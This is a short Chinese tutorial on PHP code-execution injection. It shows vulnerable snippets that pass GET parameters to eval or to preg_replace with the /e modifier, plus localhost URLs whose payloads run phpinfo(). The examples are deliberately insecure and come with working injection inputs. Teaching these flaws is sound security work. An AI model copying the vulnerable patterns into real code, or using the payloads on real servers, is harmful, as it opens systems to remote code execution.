PHP代码执行
在php里面有一些函数将输入的字符串参数当作PHP程序代码执行
一.常见的代码执行函数
eval,assert,preg_replace
二.例子
i.
1 <?php 2 if(isset($_GET['moon'])) 3 { 4 $moon=$_GET['moon']; 5 } 6 eval("\$a=$moon;"); 7 ?>
访问url:http://localhost/1.php?moon=phpinfo()
ii.assert与eval的效果相同
iii.preg_replace正则代码执行注入(当pattern中存在/e模式修饰符,正则表达式会执行代码)
第一个参数注射
代码如下
<?php $var='<php>phpinfo()</php>'; $reg=$_GET['reg']; preg_replace("/<php>(.*)$reg",'\\1',$var); ?>
访问一下网址:http://localhost/1.php?reg=<\/php>/e
第二个参数注射
<?php preg_replace("/Moon/e",$_GET['moon'],"I Love Moon"); ?>
访问以下url:
http://localhost/1.php?moon=phpinfo%28%29
第三个参数
<?php echo preg_replace("/\[php\](.*)\[\/php\]/ie","\\1",$_GET['moon']); ?>
访问以下url
http://localhost/1.php?moon=[php]phpinfo%28%29[/php]
可执行phpinfo()
在preg_replace中,正则表达式中被替换出来的结果,如果被加上了e则会执行

浙公网安备 33010602011771号